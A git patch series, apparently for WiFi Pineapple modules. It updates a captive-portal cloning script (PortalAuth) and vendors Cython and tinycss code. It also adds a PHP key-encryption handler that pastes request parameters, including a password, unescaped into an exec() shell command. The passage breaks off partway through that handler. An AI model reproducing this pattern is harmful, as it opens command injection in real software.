gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(__Pyx_Coroutine_CheckRunning(gen))) + return NULL; + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL); + if (retval) { + Py_DECREF(retval); + PyErr_SetString(PyExc_RuntimeError, + "generator ignored GeneratorExit"); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (!raised_exception + || raised_exception == PyExc_StopIteration + || raised_exception == PyExc_GeneratorExit + || PyErr_GivenExceptionMatches(raised_exception, PyExc_GeneratorExit) + || PyErr_GivenExceptionMatches(raised_exception, PyExc_StopIteration)) + { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *typ; + PyObject *tb = NULL; + PyObject *val = NULL; + PyObject *yf = gen->yieldfrom; + if (!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb)) + return NULL; + if (unlikely(__Pyx_Coroutine_CheckRunning(gen))) + return NULL; + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit)) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(__Pyx_Coroutine_SendEx(gen, NULL)); + goto throw_here; + } + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Throw(yf, args); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_CheckExact(yf)) { + ret = __Pyx_Coroutine_Throw(yf, args); + } else + #endif + { + PyObject *meth = __Pyx_PyObject_GetAttrStr(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) { + gen->is_running = 0; + return NULL; + } + PyErr_Clear(); + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + ret = PyObject_CallObject(meth, args); + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(__Pyx_Coroutine_SendEx(gen, NULL)); +} +static int __Pyx_Coroutine_traverse(PyObject *self, visitproc visit, void *arg) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + Py_VISIT(gen->exc_type); + Py_VISIT(gen->exc_value); + Py_VISIT(gen->exc_traceback); + return 0; +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + Py_CLEAR(gen->exc_type); + Py_CLEAR(gen->exc_value); + Py_CLEAR(gen->exc_traceback); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label > 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 + if (PyObject_CallFinalizerFromDealloc(self)) +#else + Py_TYPE(gen)->tp_del(self); + if (self->ob_refcnt > 0) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } + __Pyx_Coroutine_clear(self); + PyObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *res; + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label <= 0) + return ; +#if PY_VERSION_HEX < 0x030400a1 + assert(self->ob_refcnt == 0); + self->ob_refcnt = 1; +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); + res = __Pyx_Coroutine_Close(self); + if (res == NULL) + PyErr_WriteUnraisable(self); + else + Py_DECREF(res); + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if PY_VERSION_HEX < 0x030400a1 + assert(self->ob_refcnt > 0); + if (--self->ob_refcnt == 0) { + return; + } + { + Py_ssize_t refcnt = self->ob_refcnt; + _Py_NewReference(self); + self->ob_refcnt = refcnt; + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(self->ob_type) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self) +{ + Py_INCREF(self->gi_name); + return self->gi_name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value) +{ + PyObject *tmp; +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) { +#else + if (unlikely(value == NULL || !PyString_Check(value))) { +#endif + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + tmp = self->gi_name; + Py_INCREF(value); + self->gi_name = value; + Py_XDECREF(tmp); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self) +{ + Py_INCREF(self->gi_qualname); + return self->gi_qualname; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value) +{ + PyObject *tmp; +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) { +#else + if (unlikely(value == NULL || !PyString_Check(value))) { +#endif + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + tmp = self->gi_qualname; + Py_INCREF(value); + self->gi_qualname = value; + Py_XDECREF(tmp); + return 0; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (gen == NULL) + return NULL; + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + gen->exc_type = NULL; + gen->exc_value = NULL; + gen->exc_traceback = NULL; + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + PyObject_GC_Track(gen); + return gen; +} + +/* PatchModuleWithCoroutine */ + static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (!abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_VERSION_HEX >= 0x03030000) ? "collections.abc" : "collections"); + if (!module) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_VERSION_HEX >= 0x03030000) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if (0) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Generator */ + static PyMethodDef __pyx_Generator_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into generator,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in generator,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside generator.")}, + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Generator_memberlist[] = { + {(char *) "gi_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "gi_yieldfrom", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being iterated by 'yield from', or None")}, + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Generator_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the generator"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the generator"), 0}, + {0, 0, 0, 0, 0} +}; +static PyTypeObject __pyx_GeneratorType_type = { + PyVarObject_HEAD_INIT(0, 0) + "generator", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, + 0, + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + (iternextfunc) __Pyx_Generator_Next, + __pyx_Generator_methods, + __pyx_Generator_memberlist, + __pyx_Generator_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if PY_VERSION_HEX >= 0x030400a1 + __Pyx_Coroutine_del, +#endif +}; +static int __pyx_Generator_init(void) { + __pyx_GeneratorType_type.tp_getattro = PyObject_GenericGetAttr; + __pyx_GeneratorType_type.tp_iter = PyObject_SelfIter; + __pyx_GeneratorType = __Pyx_FetchCommonType(&__pyx_GeneratorType_type); + if (unlikely(!__pyx_GeneratorType)) { + return -1; + } + return 0; +} + +/* CheckBinaryVersion */ + static int __Pyx_check_binary_version(void) { + char ctversion[4], rtversion[4]; + PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); + PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); + if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compiletime version %s of module '%.100s' " + "does not match runtime version %s", + ctversion, __Pyx_MODULE_NAME, rtversion); + return PyErr_WarnEx(NULL, message, 1); + } + return 0; +} + +/* InitStrings */ + static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION < 3 + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + #else + if (t->is_unicode | t->is_str) { + if (t->intern) { + *t->p = PyUnicode_InternFromString(t->s); + } else if (t->encoding) { + *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); + } else { + *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); + } + } else { + *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); + } + #endif + if (!*t->p) + return -1; + ++t; + } + return 0; +} + +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); +} +static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if CYTHON_COMPILING_IN_CPYTHON && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { +#if PY_VERSION_HEX < 0x03030000 + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +#else + if (__Pyx_PyUnicode_READY(o) == -1) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (PyUnicode_IS_ASCII(o)) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +#endif + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { + PyNumberMethods *m; + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (PyInt_Check(x) || PyLong_Check(x)) +#else + if (PyLong_Check(x)) +#endif + return __Pyx_NewRef(x); + m = Py_TYPE(x)->tp_as_number; +#if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = PyNumber_Int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = PyNumber_Long(x); + } +#else + if (m && m->nb_int) { + name = "int"; + res = PyNumber_Long(x); + } +#endif + if (res) { +#if PY_MAJOR_VERSION < 3 + if (!PyInt_Check(res) && !PyLong_Check(res)) { +#else + if (!PyLong_Check(res)) { +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type %.200s)", + name, name, Py_TYPE(res)->tp_name); + Py_DECREF(res); + return NULL; + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(x); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + const digit* digits = ((PyLongObject*)b)->ob_digit; + const Py_ssize_t size = Py_SIZE(b); + if (likely(__Pyx_sst_abs(size) <= 1)) { + ival = likely(size) ? digits[0] : 0; + if (size == -1) ival = -ival; + return ival; + } else { + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +#endif /* Py_PYTHON_H */ diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/speedups.pyx b/PortalAuth/includes/scripts/libs/tinycss/speedups.pyx similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/speedups.pyx rename to PortalAuth/includes/scripts/libs/tinycss/speedups.pyx diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/__init__.py b/PortalAuth/includes/scripts/libs/tinycss/tests/__init__.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/__init__.py rename to PortalAuth/includes/scripts/libs/tinycss/tests/__init__.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/speed.py b/PortalAuth/includes/scripts/libs/tinycss/tests/speed.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/speed.py rename to PortalAuth/includes/scripts/libs/tinycss/tests/speed.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_api.py b/PortalAuth/includes/scripts/libs/tinycss/tests/test_api.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_api.py rename to PortalAuth/includes/scripts/libs/tinycss/tests/test_api.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_color3.py b/PortalAuth/includes/scripts/libs/tinycss/tests/test_color3.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_color3.py rename to PortalAuth/includes/scripts/libs/tinycss/tests/test_color3.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_css21.py b/PortalAuth/includes/scripts/libs/tinycss/tests/test_css21.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_css21.py rename to PortalAuth/includes/scripts/libs/tinycss/tests/test_css21.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_decoding.py b/PortalAuth/includes/scripts/libs/tinycss/tests/test_decoding.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_decoding.py rename to PortalAuth/includes/scripts/libs/tinycss/tests/test_decoding.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_fonts3.py b/PortalAuth/includes/scripts/libs/tinycss/tests/test_fonts3.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_fonts3.py rename to PortalAuth/includes/scripts/libs/tinycss/tests/test_fonts3.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_page3.py b/PortalAuth/includes/scripts/libs/tinycss/tests/test_page3.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_page3.py rename to PortalAuth/includes/scripts/libs/tinycss/tests/test_page3.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_tokenizer.py b/PortalAuth/includes/scripts/libs/tinycss/tests/test_tokenizer.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_tokenizer.py rename to PortalAuth/includes/scripts/libs/tinycss/tests/test_tokenizer.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/token_data.py b/PortalAuth/includes/scripts/libs/tinycss/token_data.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/token_data.py rename to PortalAuth/includes/scripts/libs/tinycss/token_data.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tokenizer.py b/PortalAuth/includes/scripts/libs/tinycss/tokenizer.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/tokenizer.py rename to PortalAuth/includes/scripts/libs/tinycss/tokenizer.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/version.py b/PortalAuth/includes/scripts/libs/tinycss/version.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/version.py rename to PortalAuth/includes/scripts/libs/tinycss/version.py diff --git a/PortalAuth/module.info b/PortalAuth/module.info index c342f4c..f27567e 100755 --- a/PortalAuth/module.info +++ b/PortalAuth/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Portal Auth", - "version": "1.7" -} \ No newline at end of file + "version": "1.8" +} From a55c302c83b107ea67ec6a78265bfd95ea40d76c Mon Sep 17 00:00:00 2001 From: sud0nick Date: Tue, 25 Dec 2018 18:31:37 -0500 Subject: [PATCH 11/12] Version 1.9 --- PortalAuth/includes/changelog/Version 1.9 | 5 +++ PortalAuth/includes/scripts/PortalCloner.py | 35 +++++++++++---------- PortalAuth/js/module.js | 2 +- PortalAuth/module.info | 2 +- 4 files changed, 26 insertions(+), 18 deletions(-) create mode 100644 PortalAuth/includes/changelog/Version 1.9 diff --git a/PortalAuth/includes/changelog/Version 1.9 b/PortalAuth/includes/changelog/Version 1.9 new file mode 100644 index 0000000..cfcab5d --- /dev/null +++ b/PortalAuth/includes/changelog/Version 1.9 @@ -0,0 +1,5 @@ +Dec 25, 2018 +

    + - Moved captive portal test page to AWS S3
    + - Added exception handling to CSS parser
    + - Fixed typo in PortalCloner.py diff --git a/PortalAuth/includes/scripts/PortalCloner.py b/PortalAuth/includes/scripts/PortalCloner.py index 4442ea4..c3a8b54 100755 --- a/PortalAuth/includes/scripts/PortalCloner.py +++ b/PortalAuth/includes/scripts/PortalCloner.py @@ -153,23 +153,26 @@ class PortalCloner: # Search for CSS files linked with the @import statement and remove for style in self.soup.find_all("style"): parser = tinycss.make_parser('page3') - stylesheet = parser.parse_stylesheet(style.string) - for rule in stylesheet.rules: - if rule.at_keyword == "@import": - - # Get the name of the resource - fname = str(rule.uri).split("/")[-1] + try: + stylesheet = parser.parse_stylesheet(style.string) + for rule in stylesheet.rules: + if rule.at_keyword == "@import": - # Download the resource - resourceURLs.append([rul.uri, fname]) - - # Parse the CSS to get image links - _key = "resources/" + fname - self.css_urls[_key] = self.parseCSS(urlparse.urljoin(self.url, rule.uri)) - - # Replace the old link of the CSS with the new one - modStyle = style.string - style.string.replace_with(modStyle.replace(rule.uri, "resources/" + fname)) + # Get the name of the resource + fname = str(rule.uri).split("/")[-1] + + # Download the resource + resourceURLs.append([rule.uri, fname]) + + # Parse the CSS to get image links + _key = "resources/" + fname + self.css_urls[_key] = self.parseCSS(urlparse.urljoin(self.url, rule.uri)) + + # Replace the old link of the CSS with the new one + modStyle = style.string + style.string.replace_with(modStyle.replace(rule.uri, "resources/" + fname)) + except: + pass # Find and download all images and CSS files linked with diff --git a/PortalAuth/js/module.js b/PortalAuth/js/module.js index d776514..680a334 100755 --- a/PortalAuth/js/module.js +++ b/PortalAuth/js/module.js @@ -113,7 +113,7 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval configs['dataExpected'] = $scope.dataExpected; configs['p_archive'] = $scope.portalArchive; } else { - configs['testSite'] = "https://www.puffycode.com/cptest.html"; + configs['testSite'] = "https://portalauth.s3.us-east-2.amazonaws.com/cptest.html"; configs['dataExpected'] = "No Captive Portal"; configs['p_archive'] = "/root/portals/"; } diff --git a/PortalAuth/module.info b/PortalAuth/module.info index f27567e..ca97766 100755 --- a/PortalAuth/module.info +++ b/PortalAuth/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Portal Auth", - "version": "1.8" + "version": "1.9" } From 4455ee1337e182c0a257ba47dcf1bd1c1568316e Mon Sep 17 00:00:00 2001 From: sud0nick Date: Fri, 28 Dec 2018 23:45:33 -0500 Subject: [PATCH 12/12] Version 1.6 --- Papers/api/module.php | 78 ++++++++- Papers/includes/changelog/Version 1.6 | 5 + Papers/includes/help/store.help | 11 +- .../includes/icons/glyphicons-28-search.png | Bin 0 -> 1447 bytes Papers/includes/scripts/decryptKeys.sh | 72 +++++++++ Papers/includes/scripts/encryptKeys.sh | 7 +- Papers/includes/scripts/getCertInfo.sh | 51 ++++++ Papers/js/module.js | 98 +++++++++++- Papers/module.html | 148 ++++++++++++++++-- Papers/module.info | 2 +- 10 files changed, 456 insertions(+), 16 deletions(-) create mode 100644 Papers/includes/changelog/Version 1.6 create mode 100644 Papers/includes/icons/glyphicons-28-search.png create mode 100644 Papers/includes/scripts/decryptKeys.sh create mode 100644 Papers/includes/scripts/getCertInfo.sh diff --git a/Papers/api/module.php b/Papers/api/module.php index 9f7f485..06f22af 100755 --- a/Papers/api/module.php +++ b/Papers/api/module.php @@ -69,12 +69,21 @@ class Papers extends Module case 'buildCert': $this->buildCert($this->request->parameters); break; + case 'encryptKey': + $this->respond($this->encryptKey($this->request->keyName, $this->request->keyType, $this->request->keyAlgo, $this->request->keyPass)); + break; + case 'decryptKey': + $this->respond($this->decryptKey($this->request->keyName, $this->request->keyType, $this->request->keyPass)); + break; case 'genSSHKeys': $this->genSSHKeys($this->request->parameters); break; case 'loadCertificates': $this->loadCertificates(); break; + case 'loadCertProps': + $this->loadCertificateProperties($this->request->certName); + break; case 'downloadKeys': $this->downloadKeys($this->request->parameters->name, $this->request->parameters->type); break; @@ -288,6 +297,40 @@ class Papers extends Module $this->respond(true, "Keys created successfully!"); } + private function encryptKey($keyName, $keyType, $algo, $pass) { + $retData = array(); + $argString = "encryptKeys.sh --encrypt -k " . $keyName . " -a " . $algo . " -p " . $pass; + + if ($keyType == "SSH") { + $argString .= " --ssh"; + } + + exec(__SCRIPTS__ . $argString, $retData); + $res = implode("\n", $retData); + if ($res != "Complete") { + $this->logError("Key 